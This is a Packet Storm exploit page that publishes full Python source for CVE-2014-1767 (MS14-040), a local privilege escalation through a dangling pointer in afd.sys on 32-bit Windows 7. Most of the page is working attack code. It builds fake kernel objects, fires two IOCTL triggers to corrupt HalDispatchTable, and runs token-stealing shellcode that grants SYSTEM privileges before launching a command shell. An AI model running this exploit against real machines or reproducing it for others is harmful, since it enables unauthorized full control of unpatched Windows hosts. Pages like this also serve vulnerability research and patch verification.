what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft AFD.SYS Dangling Pointer Privilege Escalation

Microsoft AFD.SYS Dangling Pointer Privilege Escalation
Posted Feb 16, 2016
Authored by Rick Larabee

Microsoft afd.sys version 6.1.7600.16385 suffers from a dangling pointer privilege escalation vulnerability. This exploit demonstrates the vulnerability discussed in MS14-040.

tags | exploit
advisories | CVE-2014-1767
SHA-256 | 43aecafba8f866db9836e1cf4df9c1bc15350cd135f9e99abda52e36dca71d06

Microsoft AFD.SYS Dangling Pointer Privilege Escalation

Change Mirror Download
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
# afd.sys - 6.1.7600.16385
# ntdll.dll - 6.1.7600.16385
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
# http://ricklarabee.blogspot.com/
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
# http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook



from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD

kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi

MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zerobits = c_int(0)
RegionSize = c_int(0x1000)
written = c_int(0)

FakeObjSize = 0xA0

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1

WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int

class sockaddr_in(Structure):
_fields_ = [
("sin_family", c_short),
("sin_port", c_ushort),
("sin_addr", c_ulong),
("sin_zero", c_char * 8),
]

def findSysBase(drvname=None):
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48

Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[+] Retrieving %s info..." % drvname
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
return baseaddy
else:
if drivername.value.lower().find("krnl") !=-1:
print "[+] Retrieving Kernel info..."
print "[+] Kernel version:", drivername.value
print "[+] Kernel base address: %s" % hex(baseaddy)
return (baseaddy, drivername.value)
return None


def CreateBuffer1():
inbuf1size = 0x30
virtualAddress = 0x18888888
length = 0x20000

inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a
inbuf1 += struct.pack("L", length) #0x20
inbuf1 += "\x00" * 0x8 + "\x01"
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))

baseadd = c_int(0x1001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))


def CreateBuffer2():
inbuf2size = 0x10
addrforbuf2 = 0x0AAAAAAA

inbuf2 = "\x01\x00\x00\x00"
inbuf2 += struct.pack("L", addrforbuf2)
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))

baseadd = c_int(0x2001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))

def CreateFakeObject():
print "[+] Print creating fakeobject"
fakeobject2addr = 0x2200
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
fakeobj2size = len(fakeobject2)
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))

objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x16\x00\x08\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00")


fakeobject = objhead
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))

print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)

if sock == -1:
print "[-] no luck creating socket!"
sys.exit(1)

print "[+] got sock 0x%x" % sock

addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)

connect(sock, byref(addr), sizeof(addr))

print "[+] sock connected."
print "\n[+] GO!"

(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
_KPROCESS = "\x50"
_TOKEN = "\xf8"
_UPID = "\xb4"
_APLINKS = "\xb8"

print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)

IoStatus = c_ulong()
IoStatusBlock = c_ulong()

CreateBuffer1()
CreateBuffer2()
CreateFakeObject()

inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100


# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)

CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))

ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))

shellcode_address = 0x00020700
padding = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4

_WFValue = struct.pack("L", hWFaddr)

sc_pointer = struct.pack("L", shellcode_address+0x4)
restore_ptrs = "\x31\xc0" + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)

tokenstealing = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00"

fixobjheaders = "\x33\xC0" +\
"\x64\x8B\x80\x24\x01\x00\x00" +\
"\x8B\x40\x50" +\
"\x8B\x80\xF4\x00\x00\x00" +\
"\x8B\xD8" +\
"\x8B\x00" +\
"\x8B\x0D" + _WFValue +\
"\x83\xE1\xFC" +\
"\x03\xC9" +\
"\x03\xC1" +\
"\xC7\x00\x00\x00\x00\x00" +\
"\x83\xC3\x30" +\
"\x8B\xC3" +\
"\x8B\x1B" +\
"\x83\xEB\x01" +\
"\x89\x18" +\
"\x5B" +\
"\x5A" +\
"\xC2\x10\x00"


shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size = len(shellcode)
orig_size = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))


### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)

ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)

ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;

inp = c_ulong()
out = c_ulong()
inp = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close